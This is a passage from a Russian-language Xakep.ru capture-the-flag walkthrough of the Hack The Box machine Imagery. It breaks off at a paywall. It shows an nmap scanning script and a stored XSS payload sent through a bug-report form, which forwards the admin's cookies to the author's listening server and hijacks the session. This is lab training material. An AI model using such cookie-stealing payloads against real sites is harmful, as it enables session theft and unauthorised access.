Содержание статьи
Наша конечная цель — получить права суперпользователя на машине Imagery с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
К машинам HTB лучше подключаться через средства анонимизации и виртуализации. Не делай этого с компьютеров, где хранятся важные для тебя данные: ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /.
10.10.11.88 imagery.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Подробнее про работу с Nmap читай в статье «Nmap с самого начала. Осваиваем разведку и сканирование сети».
Сканер нашел два открытых порта.
- 22 — служба OpenSSH 9.7p1;
- 8000 — веб‑сервер на Werkzeug 3.1.3 (Python 3).
Скоуп маленький, переходим к сайту на веб‑сервере.
Точка входа
На сайте можно зарегистрироваться. Создаем учетную запись и входим в аккаунт.
Находим ссылку на форму для отчетов об ошибках.
Так как сообщения будут просмотрены, попробуем отправить XSS-нагрузку, которая пришлет на наш веб‑сервер куки пользователя, открывшего репорт.
Запускаем сервер:
python -m http.server
И отправляем такую нагрузку:
<img src=x onerror="document.location='http://10.10.15.73:8000/?c='+ document.cookie">
Сохраняем полученные куки в хранилище Chrome и переходим в админку.
В панели администратора можно скачать логи.
Точка опоры
Чтение произвольных файлов
Механизм загрузки логов посмотрим через Burp Proxy. Здесь имя файла для загрузки передается в GET-параметре log_identifier.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
